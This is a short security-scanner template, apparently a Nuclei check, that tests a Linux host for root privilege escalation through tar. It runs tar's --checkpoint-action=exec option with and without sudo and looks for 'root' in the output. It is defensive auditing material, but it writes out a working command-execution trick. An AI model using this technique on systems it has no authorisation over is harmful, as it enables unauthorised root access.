id: privesc-tar info: name: tar - Privilege Escalation author: daffainfo severity: high description: | tar is a command-line utility used to create and manipulate archive files. It is commonly used for bundling multiple files and directories into a single archive, often used in conjunction with compression tools like gzip or bzip2. reference: - https://gtfobins.github.io/gtfobins/tar/ metadata: verified: true max-request: 3 tags: code,linux,tar,privesc,local self-contained: true code: - engine: - sh - bash source: | whoami - engine: - sh - bash source: | tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami - engine: - sh - bash source: | sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=whoami matchers-condition: and matchers: - type: word part: code_1_response words: - "root" negative: true - type: dsl dsl: - 'contains(code_2_response, "root")' - 'contains(code_3_response, "root")' condition: or # digest: 4b0a00483046022100c505ccd3523d1185243180df012aa21eec0eb8062fe80bb508fe4ad53833ac4f022100c0478b121270a491ceea51d50c657ddc06b409067f7883554891c6698d51ab80:922c64590222798bb761d5b6d8e72950